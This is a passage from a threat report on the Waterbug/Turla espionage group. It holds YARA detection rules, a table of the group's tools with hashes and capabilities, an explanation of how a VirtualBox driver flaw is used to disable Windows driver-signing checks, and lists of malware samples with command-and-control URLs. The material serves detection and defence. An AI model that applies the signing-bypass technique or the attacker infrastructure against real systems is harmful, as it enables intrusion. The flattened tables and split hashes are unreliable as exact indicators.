C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8 condition: all of them Trojan. Turla DLL rule turla _ dll strings: a /([A-Za-z0-9]2,10 _ ),2Win32\.dll\x00/ condition: pe.exports(ee) and a FA rule fa strings: mz MZ string1 C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb Page 26 The Waterbug attack group string2 d:\\proj\\cn\\fa64\\ string3 sengoku _ Win32.sys\x00 string4 rk _ ntsystem.c string5 \\uroboros\\ string6 shell. F21EDC09-85D3-4eb9-915F-1AFA2FF28153 condition: (mz at 0) and (any of (string)) SAV dropper rule sav _ dropper strings: mz MZ a /[a-z],10 _ x64.sys\x00hMZ\x00/ condition: (mz at 0) and uint32(0x400) 0x000000c3 and pe.number _ of _ sections 6 and a SAV rule sav strings: mz MZ / 8B 75 18 mov esi, [ebparg _ 10] 31 34 81 xor [ecxeax4], esi 40 inc eax 3B C2 cmp eax, edx 72 F5 jb short loc _ 9F342 33 F6 xor esi, esi 39 7D 14 cmp [ebparg _ C], edi 76 1B jbe short loc _ 9F36F 8A 04 0E mov al, [esiecx] 88 04 0F mov [ediecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C7 mov eax, edi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _ 9F368 / code1a 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 / 8B 45 F8 mov eax, [ebpvar _ 8] 40 inc eax 89 45 F8 mov [ebpvar _ 8], eax 8B 45 10 mov eax, [ebparg _ 8] C1 E8 02 shr eax, 2 39 45 F8 cmp [ebpvar _ 8], eax 73 17 jnb short loc _ 4013ED 8B 45 F8 mov eax, [ebpvar _ 8] 8B 4D F4 mov ecx, [ebpvar _ C] Page 27 The Waterbug attack group 8B 04 81 mov eax, [ecxeax4] 33 45 20 xor eax, [ebparg _ 18] 8B 4D F8 mov ecx, [ebpvar _ 8] 8B 55 F4 mov edx, [ebpvar _ C] 89 04 8A mov [edxecx4], eax EB D7 jmp short loc _ 4013C4 83 65 F8 00 and [ebpvar _ 8], 0 83 65 EC 00 and [ebpvar _ 14], 0 EB 0E jmp short loc _ 401405 8B 45 F8 mov eax, [ebpvar _ 8] 40 inc eax 89 45 F8 mov [ebpvar _ 8], eax 8B 45 EC mov eax, [ebpvar _ 14] 40 inc eax 89 45 EC mov [ebpvar _ 14], eax 8B 45 EC mov eax, [ebpvar _ 14] 3B 45 10 cmp eax, [ebparg _ 8] 73 27 jnb short loc _ 401434 8B 45 F4 mov eax, [ebpvar _ C] 03 45 F8 add eax, [ebpvar _ 8] 8B 4D F4 mov ecx, [ebpvar _ C] 03 4D EC add ecx, [ebpvar _ 14] 8A 09 mov cl, [ecx] 88 08 mov [eax], cl 8B 45 F8 mov eax, [ebpvar _ 8] 33 D2 xor edx, edx 6A 0F push 0Fh 59 pop ecx F7 F1 div ecx 85 D2 test edx, edx 75 07 jnz short loc _ 401432 / code1b 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 / 8A 04 0F mov al, [ediecx] 88 04 0E mov [esiecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C6 mov eax, esi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _ B12FC 47 inc edi 8B 45 14 mov eax, [ebparg _ C] 46 inc esi 47 inc edi 3B F8 cmp edi, eax 72 E3 jb short loc _ B12E8 EB 04 jmp short loc _ B130B C6 04 08 00 mov byte ptr [eaxecx], 0 48 dec eax 3B C6 cmp eax, esi Page 28 The Waterbug attack group 73 F7 jnb short loc _ B1307 33 C0 xor eax, eax C1 EE 02 shr esi, 2 74 0B jz short loc _ B1322 8B 55 18 mov edx, [ebparg _ 10] 31 14 81 xor [ecxeax4], edx 40 inc eax 3B C6 cmp eax, esi 72 F5 jb short loc _ B1317 / code1c 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 / 29 5D 0C sub [ebparg _ 4], ebx 8B D1 mov edx, ecx C1 EA 05 shr edx, 5 2B CA sub ecx, edx 8B 55 F4 mov edx, [ebpvar _ C] 2B C3 sub eax, ebx 3D 00 00 00 01 cmp eax, 1000000h 89 0F mov [edi], ecx 8B 4D 10 mov ecx, [ebparg _ 8] 8D 94 91 00 03 00 00 lea edx, [ecxedx4300h] 73 17 jnb short loc _ 9FC44 8B 7D F8 mov edi, [ebpvar _ 8] 8B 4D 0C mov ecx, [ebparg _ 4] 0F B6 3F movzx edi, byte ptr [edi] C1 E1 08 shl ecx, 8 0B CF or ecx, edi C1 E0 08 shl eax, 8 FF 45 F8 inc [ebpvar _ 8] 89 4D 0C mov [ebparg _ 4], ecx 8B 0A mov ecx, [edx] 8B F8 mov edi, eax C1 EF 0B shr edi, 0Bh / code2 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B condition: (mz at 0) and ((code1a or code1b or code1c) and code2) ComRAT rule comrat strings: mz MZ b C645??? ? c C685??FEFFFF? ? d FFA0? ?0?0000 e 89A8??00000068? ?00000056FFD78B f 00004889??? ?030000488B condition: (mz at 0) and ((c 200 and b 200 ) or (d 40) and (e 15 or f 30)) Page 29 The Waterbug attack group Waterbug tools Symantec identified a number of tools used by the Waterbug group. Table 4 details the tools and lists their associated MD5 hashes. Table 4. Tools used by the Waterbug group File name MD5 File path tcpdump32c.exe 9bec941bec02c7fbe037a97db8c89f18 6ce69e4bec14511703a8957e90ded1fa 1c05164fede51bf947f1e78cba811063 5129c26818ef712bde318dff970eba8d bdce0ed65f005a11d8e9a6747a3ad08c Used for lateral movement across victims network Reads prt.ocx as its configuration file May use results from other tools like mspd32.exe to get to- kens/ntlm hashes to access resources from victims network Can scan for open ports from a list of targeted computers or from a given Active Directory domain Can copy and execute files on remote computers found in the network There are several command line parameters that the file can accept and the most notable ones are: /exp:dns possible DNS exploit /exp:08067 seems to be capable of exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability Vulnerability (CVE-2008- 4250). Needs another parameter which is the path to the exploit binary to use /rputfile possibly copying file to a targeted computer /rfile possibly a remote file execute or remote log file /lfile local logfile/userlist. Accepts user name and password for accessing remote computers in the tar- geted network /scanport Has encrypted binary files in its resource mspd32.exe e04ad0ec258cbbf94910a677f4ea54f0928d0e- f4c17f0be21f2ec5cc96182e0c Used in access privilege elevation attacks and the dumping of SAM through the DLL found in its resource section Communication is made through named pipe resources typecli.exe d686ce4ed3c46c3476acf1be0a1324 msc32.exe 22fb51ce6e0bc8b52e9e3810ca9dc2e1 Unknown dxsnd32x.exe df06bde546862336ed75d8da55e7b1c- ca85616aec82078233ea25199c56680 36b7d80000100f2cb50a37a8a5f21b- 185f552a8e8d60731022dcb5a89fd4f313e- ca1ecf883627a207ed79d0fd103534576560f- 47c8c50598760914310c6411d3b1b28cbcd- 6998091f903c06a0a46a0fd8db0952e130f- 6f8ad207998000a42531dec04190d- c190b6002f064e3d13ac22212959ed- 9d60a8f645fd46b7c7a9b- 62870c305801a809b7d9136ab483682e26d- 52de5a9fc45ab11dd0845508d122a6c8c8c Main purpose is to get details of compromised computer, such as OS version, service pack, host name, network adapter information (physical address, IP address) msnetsrv.exe bf0e4d46a51f27493cbe47e1cfb1b2ea 22149a1ee21e6d60758fe58b34f04952 Used to gather information process lists, installed programs, browser history, and list of recently accessed files (through registry) Checks for F-Secure installation Compresses and encrypt swinview.xml pxinsi64.exe f156ff2a1694f479a079f6777f0c5af0 64-bit driver possibly used by vboxdev_win32.dll Exploits vulnerability to load unsigned drivers mswme32.exe eb40189cde69d60ca6f9a3f0531dbc5e Collects files with extensions (.library, .inf, .exe, .dll, .dot) Encrypts with Trojan. Turla XOR key Compresses into .cab file Writes entry to vtmon.bin file Copies compressed file to System\win.com for exfiltration Can execute files msnetserv.exe 56f423c7a7fef041f3039319f2055509 22149a1ee21e6d60758fe58b34f04952 Same as mswme32.exe msnet32.exe eb40189cde69d60ca6f9a3f0531dbc5e Same as mswme32.exe http://www.securityfocus.com/bid/31874 http://www.securityfocus.com/bid/31874 Page 30 The Waterbug attack group Additional exploits used Waterbug exploits several weaknesses in Windows and a device driver vulnerability to load an unsigned driver on the x64 Windows platform. The vulnerabilities used are as follows: Sun xVM VirtualBox VBoxDrv.sys Local Privilege Escalation Vulnerability (CVE-2008-3431) Microsoft Windows GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) Microsoft Windows Argument Validation Local Privilege Escalation Vulnerability (CVE-2009-1125) Sun xVM VirtualBox VBoxDrv.sys Local Privilege Escalation Vulnerability (CVE- 2008-3431) This vulnerability lets attackers get access to the g_CiEnabled flag which is supposed to be protected. This vulnerability is used by most of the driver-based exploits. Attackers can exploit a device IO vulnerability in the VBoxDrv.sys driver to set the g_CiEnabled flag to 0, allowing any driver to be installed without performing code-signing checks. The g_CiEnabled is a Windows flag that sets or resets when the computer restarts. This flag indicates whether Windows should validate digital signatures before loading a driver. By default, x64 computers only allow signed drivers to be installed. A pseudo-code description of SepInitializeCodeIntegrity follows: VOID SepInitializeCodeIntegrity() DWORD CiOptions g _ CiEnabled FALSE if(InitIsWinPEMode) g _ CiEnabled TRUE The g_CiEnabled flag is set when the computer restarts, depending on whether the computer is being booted in WinPE mode or not. Furthermore, whenever a driver is being loaded after the computer restarts, the operating system checks for this flag before validating the signature in the SeValidateImageHeader() function. In order to load the unsigned Uroburos driver, the attackers first gain access to the g_CiEnabled flag and then set it to zero. This resets the code-signing policy on the computer. However, resetting the flag requires kernel privileges. Because of this, the malware exploits a device IO vulnerability from an already signed driver (VBoxDrv.sys) to rpcsrv.exe 20c9df1e5f426f9eb7461cd99d406904 RPC server using ncacn_np identifier and binds to \\pipe\ hello Has several log strings pertaining to HTTP file downloads, list HTTP requests, list HTTP connections, remote HTTP requests Can be used as a proxy charmap32.exe ed3509b103dc485221c85d865fafafac Executes msinfo32.exe /nfo and direct output to winview.nfo Creates cab file by compressing winview.nfo to winview.ocx Deletes winview.nfo Reads encrypts contents of cab file using common XOR mqsvc32.exe 09886f7c1725fe5b86b28dd79bc7a4d1 Capable of sending exfiltrated data through email using MAPI32.dll msrss.exe fb56ce4b853a94ae3f64367c02ec7e31 Registers as a service svcmgr with display name Windows Svcmgr Compiled with OpenSSL 1.0.0d 8 Feb 2011 Can spawn command line shell process and send results to CC through SSL May read/write shell results to msrecda.dat dc1.exe fb56ce4b853a94ae3f64367c02ec7e31 Same as msrss.exe svcmgr.exe fb56ce4b853a94ae3f64367c02ec7e31 Same as msrss.exe msx32.exe 98992c12e58745854a885f9630124d3e Used to encrypt file (supplied as argument on command line) using common Trojan. Turla XOR key Output written to [FILE NAME].XOR http://www.securityfocus.com/bid/30481 http://www.securityfocus.com/bid/37864 http://www.securityfocus.com/bid/35240 Page 31 The Waterbug attack group reset the flag. Based on Symantecs analysis of a few driver exploits available on the internet and in the vboxdrv_win32.dll code, we see that in order to again access to g_CiEnabled, the sample first loads the ntoskrnl.exe image. The malware then uses ci.dll to locate the CiInitialize() function address and finally the address of the g_CiEnabled flag. The vboxdrv_win32.dll file has the signed VirtualBox driver (eaea9ccb40c82af8f3867cd0f4dd5e9d) embedded in it. It loads this legitimate driver and then exploits the vulnerability to disable code-signing policy. Microsoft Windows GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) The ms10_025_win32.dll file exploits a privilege escalation vulnerability in the GP trap handler. The exploit works by executing debug.exe and then injecting a thread in this NTVDM subsystem. MS09-025 Local privilege escalation vulnerability (CVE-2009-1125) The ms09-025_win32.dll file exploits a local privilege escalation vulnerability to gain administrative privileges on the system. Samples Table 5 contains a list of samples associated with the Waterbug group. Table 5. Samples associated with the Waterbug group Threat family Timestamp MD5 Domain Initial infector (UI present) 4c65126ae52cadb76ca1a9cfb8b4ce74 Initial infector (UI present) 6776bda19a3a8ed4c2870c34279dbaa9 Initial infector (UI present) dba209c99df5e94c13b1f44c0f23ef2b Initial infector (UI present) f44b1dea7e56b5eac95c12732d9d6435 Initial infector (UI present) 1970-01-01 18:12:16 030f5fdb78bfc1ce7b459d3cc2cf1877 Initial infector (UI present) 1970-01-01 18:12:16 0f76ef2e6572befdc2ca1ca2ab15e5a1 Initial infector (UI present) 1970-01-01 18:12:16 7c52c340ec5c6f57ef2fd174e6490433 Initial infector (UI present) 1970-01-01 18:12:16 c7617251d523f3bc4189d53df1985ca9 Initial infector (UI present) 2014-01-13 12:37:45 1c3634c7777bd6667936ec279bac5c2a Initial infector (UI present) 2014-01-13 12:41:49 4d667af648047f2bd24511ef8f36c9cc Initial infector (UI present) 2014-02-05 14:37:32 626955d20325371aca2742a70d6861ab Initial infector (UI present) 2014-02-05 14:37:32 80323d1f7033bf33875624914a6a6010 Initial infector (UI present) 2014-02-05 14:39:27 77083b1709681d43a1b0503057b6f096 Page 32 The Waterbug attack group Wipbot 2013 2013-10-15 10:34:06 6a61adc3990ffcf2a4138db82a17a94f blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:34:16 a9f007fe165a77d0b8142cc384bdf6c5 blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:43:09 111ed2f02d8af54d0b982d8c9dd4932e Wipbot 2013 2013-10-15 10:43:09 24b354f8cfb6a181906ceaf9a7ec28b0 Wipbot 2013 2013-10-15 10:43:09 397c19d4686233bf1be2907e7f4cb4ff Wipbot 2013 2013-10-15 10:43:09 42b7b0bd4795fc8e336e1f145fc2d27c Wipbot 2013 2013-10-15 10:43:09 61316789205628dd260efe99047219eb Wipbot 2013 2013-10-15 10:43:09 d102e873971aa4190a809039bc789e4d Wipbot 2013 2013-10-15 10:43:09 dc37cba3e8699062b4346fd21f83de81 Wipbot 2013 2013-10-15 10:43:09 ea1c266eec718323265c16b1fdc92dac Wipbot 2013 2013-10-15 10:43:09 eaaf9f763ae8c70d6e63d4b1e3364f74 Wipbot 2013 2013-11-25 08:53:22 e50c8bd08efc3ad2e73f51444069f809 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:53:36 23bc358fd105a8ba1e5417b1054f26a6 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:55:28 1011a47f0dfcb897f7e051de3cc31577 Wipbot 2013 2013-11-25 08:55:28 3ab3d463575a011dfad630da154600b5 Wipbot 2013 2013-11-25 08:55:28 7731d42b043865559258464fe1c98513 Wipbot 2013 2013-11-25 08:55:28 fdba4370b60eda1ee852c6515da9da58 Wipbot 2013 2013-12-01 07:56:31 89b0f1a3a667e5cd43f5670e12dba411 Wipbot 2013 2014-01-09 11:20:46 810ba298ac614d63ed421b616a5df0d0 losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:20:56 401910bebe1b9182c3ebbe5b209045ff losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:34:48 ab686acde338c67bec8ab42519714273 Wipbot 2013 2014-01-20 06:06:18 b2d239cc342bf972a27c79642a9216fc http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/ ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Page 33 The Waterbug attack group Wipbot 2013 2014-01-20 06:06:30 b101bbf83bda2a7e4ff105a2eb496c7b http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/ ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Wipbot 2013 2014-01-20 06:18:06 d31f1d873fa3591c027b54c2aa76a52b Wipbot 2013 2014-02-04 11:29:36 cece6ec4d955b0f6fe09e057676105a7 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:29:46 b4411b1de933399872e- 505ac4a74a871 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:42:55 d22b0ec4e9b2302c07f38c835a78148a Wipbot 2013 2014-02-21 15:08:01 2b145a418daee6dc5f2a21d8567d0546 http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:08:21 eb45f5a97d52bcf42fa989bd57a160df http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:09:56 764d643e5cdf3b8d4a04b50d0bc44660 Wipbot 2013 2014-04-07 10:27:46 6f05fdf54ac2aef2b04b0fe3c8b642bb filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:30:37) 34e8034e1eba9f2c100768afe579c014 filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:31:02 f51ba5883a65a0f7cf6783a6490320d3 Wipbot 2013 2014-06-10 14:03:07 74ad9f180b1e1799b014f05b96f9d54e http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:04 2cba96a85424d8437289fb4ce6a42d82 http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:28 0e441602449856e57d110549602 3f458 Wipbot 2013 2014-07-01 07:55:17 16da515aebff57e9d287af65ab3ee200 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Page 34 The Waterbug attack group Wipbot 2013 2014-07-01 07:55:17 456585dda72d985a0e58ab9f9ca3b5ff www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:23 72025b23b54462942ea- 9f0a5437d1932 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:47 81371773630098af- 082d714501683c70 Wipbot 2013 2014-07-17 07:26:19 abf4996ce518b053c5791886bad7cf29 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:26:29 d17d99c2ba99889726c9709aa00dec76 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:37:24 6410632704138b439dea980c1c4dd17f FA 2009 4161f09f9774bd28f09b2725fd7594d6 FA 2009 43043da4b439d21e5fdf9b05f9e77e3e FA 2009 2005-12-02 11:29:22 c98a0d1909d8fad4110c8f35ee6f8391 FA 2009 2009-09-23 06:45:45 2b61e8a11749bfb55d21b5d8441de5c9 FA 2009 2009-02-13 11:20:40 985ec031a278aa529c1eb677e18e12b6 FA 2009 2009-02-13 11:20:40 98de96dfa10f7e8f437fbd4d12872bc1 FA 2009 2009-10-30 10:50:10 6375c136f7f631b1d9b497c277e2faa6 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2009-02-13 11:20:40 9152e0b3f19cb13a91449994695ffe86 FA 2009 2009-02-13 11:20:40 bdb03ec85704879f53bb5d61b8150a0f FA 2009 2009-02-13 11:20:40 dee81c3b22e98abbf941eaf0ae9c5478 FA 2009 2009-11-10 08:32:24 ce1ebd1f0d9bf24e463f3637b648b16f te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 600ef94ae8a54ce287fb64493ca43728 FA 2009 2009-02-13 11:20:40 9a2f7e8fa0e5ccda88902ac5ea9f4713 FA 2009 2009-02-13 11:20:40 dad958df3a5c79a1d86f57309b2d4ea3 FA 2009 2009-12-07 12:28:26 944736466a50cdf16270b74b31b 4d764 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com Page 35 The Waterbug attack group FA 2009 2009-12-07 12:41:17 e93f4dd907142db4b59bb736fc46f644 FA 2009 2010-01-28 14:30:29 938b92958ded4d50a357d22edd- f141ad FA 2009 2010-02-02 11:08:53 3fa48f0675eb35d85f30f66324692786 pressbrig1.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 92f0ae3a725a42c28575290e1ad1ac4c te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 d664e4f660eb1f47e9879492c12d1042 FA 2011 536d604a1e6f7c6d635fef6137af34d1 FA 2011 b7cdff7d06e2c4656d860e2535bd8ee8 FA 2011 2011-10-11 11:09:19 4f901461bb8fa1369f85a7effd1787f1 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-03-12 12:26:39 9af488ce67be89b3908931fe4ab21831 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-12-26 07:14:18 deb674ce5721c5ed33446a32247a1a6b toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2012-12-26 07:45:34 038f0e564c06a817e8a53d054406383e FA 2011 2012-12-26 07:45:34 07c11b3370bee83fc012cac23a8dfddb FA 2011 2012-12-27 10:19:53 6ae2efda0434d59ea808c2c6538243bc toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-01-15 10:44:46 8a7b172691f99fb894dd1c5293c2d60a FA 2011 2013-01-15 10:44:46 ff64031d8e34243636ae725e8f9bbe8b FA 2011 2013-02-13 13:38:20 1fd0b620e7ba3e9f468b90ffb616675e toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-02-27 14:23:41 1ecdb97b76bdae9810c1101d93dfe194 FA 2011 2013-02-27 14:23:41 a8a16187b033024e3e0d- 722ba33ee9da FA 2011 2013-03-27 07:10:08 b329095db961cf3b54d9acb48a3711da toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-28 06:49:35 c09fbf1f2150c1cc87c8f45bd788f91f toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-29 07:44:25 1bdd52a68fe474da685f1a2d502481cc FA 2011 2013-03-29 07:44:25 5ce3455b85f2e8738a9aceb815b48aee FA 2011 2013-03-29 07:51:34 6406ad8833bafec59a32be842245c7dc FA 2011 2013-03-29 07:51:34 a9b0f2d66d1b16acc1f1efa696074447 Page 36 The Waterbug attack group FA 2011 2013-07-25 05:58:46 2eb233a759642abaae2e- 3b29b7c85b89 swim.onlinewebshop.net winter.site11.com july.mypressonline.com FA 2011 2013-07-25 06:35:07 309cc1312adcc6fc53e6e6b7fa260093 FA 2011 2013-07-25 06:35:07 cd962320f5b1619b1c1773de235bda63 FA 2011 2013-08-29 07:34:54 973fce2d142e1323156ff1ad3735e50d FA 2011 2013-11-12 06:21:22 c0a2e3f9af9e227252428df59777fc47 FA 2011 2014-01-22 12:11:57 707cdd827cf0dff71c99b1e05665b905 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 440802107441b03f- 09921138303ca9e9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 594cb9523e32a5bbf4eb1c491f06d4f9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-30 11:24:41 1fe6f0a83b332e58214c080aad300868 FA 2011 2014-01-30 11:24:41 606fa804373f595e37dc878055979c0c FA 2011 2014-01-31 05:53:22 22fb51ce6e0bc8b52e9e3810ca9dc2e1 swim.onlinewebshop.net winter.site11.com july.mypressonline.com Carbon 2007 2007-05-24 08:21:34 876903c3869abf77c8504148ac23f02b Carbon 2007 2007-06-14 13:01:39 5f7120d2debb34cab0e53b22c5e332e2 Carbon 2008 2008-09-12 13:11:13 177e1ba54fc154774d103971964 ee442 Carbon 2009 08cbc46302179c4cda4ec2f41fc9a965 Carbon 2009 76f796b5574c8e262afe98478f41558d soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2009-06-22 09:17:40 bc87546fea261dab3cd95a00953179b8 Carbon 2009 2009-06-22 13:24:13 342700f8d9c1d23f3987df18db68cb4d Carbon 2009 2009-10-01 11:17:28 db93128bff2912a75b39ee117796cdc6 Carbon 2009 2009-10-01 11:17:59 62e9839bf0b81d7774a3606112b31 8e8 Carbon 2009 2009-10-02 07:06:07 a67311ec502593630307a5f3c220dc59 Carbon 2009 2009-10-02 07:06:42 a7853bab983ede28959a30653bae- c74a Page 37 The Waterbug attack group Carbon 2009 2009-10-02 07:07:16 2145945b9b32b4ccbd498d- b50419b39b Carbon 2009 2009-10-02 07:07:43 e1ee88eda1d399822587eb58eac9b347 Carbon 2009 2009-10-02 07:10:04 5b4a956c6ec246899b 1d459838892493 Carbon 2009 2009-10-02 07:11:33 5dd1973e760e393a5ac3305ffe94a1f2 Carbon 2009 2009-10-02 07:11:33 ae3774fefba7557599fcc8af547cca70 Carbon 2009 2009-11-04 20:03:41 53b59dffce657b59872278433f9244a2 Carbon 2009 2014-02-26 13:37:00 e6d1dcc6c2601e592f2b03f35b06fa8f Carbon 2009 2014-02-26 13:37:48 554450c1ecb925693fedbb9e56702646 Carbon 2009 2014-02-26 13:39:03 244505129d96be57134cb00f27d43 59c Carbon 2009 2014-02-26 13:39:52 4ae7e6011b- 550372d2a73ab3b4d67096 Carbon 2009 2014-02-26 13:39:52 ea23d67e41d1f0a7f7e7a8b59e7cb60f Carbon 2009 2014-02-26 13:43:19 43e896ede6fe025ee90f7f27c6d376a4 Carbon 2009 2014-02-26 13:43:30 4c1017de62ea4788c7c8058a8f825a2d Carbon 2009 2014-02-26 13:43:51 91a5594343b47462ebd6266a9c40ab- be Carbon 2009 2014-02-26 13:44:01 df230db9bddf200b24d8744ad84d80e8 Carbon 2009 2014-02-26 13:44:20 cb1b68d9971c2353c2d6a8119c49b51f soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2014-07-02 19:56:22 3ab8d9eef5c32b5f8f6e4068710bd9e5 Carbon 2009 2014-07-02 19:56:22 6b6b979a4960d- 279b625378025e729cc Carbon 2009 2014-07-02 19:58:56 c466c5f8d127adb17fbc0c5182ecb118 Carbon 2009 2014-07-02 20:03:35 